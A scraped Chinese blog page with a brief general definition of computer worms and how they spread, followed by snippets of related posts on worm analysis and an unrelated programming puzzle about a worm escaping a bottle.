蠕虫是一种能够自我复制的恶意软件,他主要通过寻找系统漏洞(如Windows系统漏洞、网络服务器漏洞等)进行传播。与一般病毒不同的是,蠕虫不需要人工干预,他能够利用漏洞主动进行攻击,具有较强的独立性。感染蠕虫的计算机会出现系统运行缓慢、文件丢失、文件被破坏或出现新文件的情况。由于蠕虫可以通过系统漏洞、网络文件、电子邮件等各种途径进行传播,且攻击不受宿主程序牵制,所以蠕虫的传播速度比传统病毒快得多。

RZer的博客 793

分析一个linux下的蠕虫

分析一个linux下的蠕虫出自:Max Vision 分析一个linux下的蠕虫 Max Vision 译:quack 摘安全焦点 一、简介 千年蠕虫(The Millennium Internet Worm)——后面简称worm,是一段script及程序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且将自身复制到其上并继续繁殖。现在发现的worm是针对x86的l

zou5655的专栏 2124

一个web蠕虫的简单实现

 本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛。在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓黑客的后门,鄙视!    所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节

FreeXploiT 3291

SWUST OJ#281逃跑的蠕虫

题目描述 装在瓶子的蠕虫都想从瓶子底部向瓶口处爬出去。它每分钟向上爬行u厘米,之后会休息一分钟,这一分钟它会向下滑行d厘米,当蠕虫到了瓶口或者超出瓶口后便出了瓶口,成功逃离(每分钟计算一次位置)。编写一个函数,帮助蠕虫计算它在什么时候能够爬出瓶子。 输入 连续输入多个的实例,每一个实例输入三个正整数分别代表n,u和d,其中d < n ,n < 60000,当输入三个0时表明输入停止。(...

weixin_45733897的博客 4617
上一篇: U盘病毒查杀并打补丁
下一篇: 文件感染模型
Matrix_Designer
博客等级 码龄16年 58粉丝 296原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值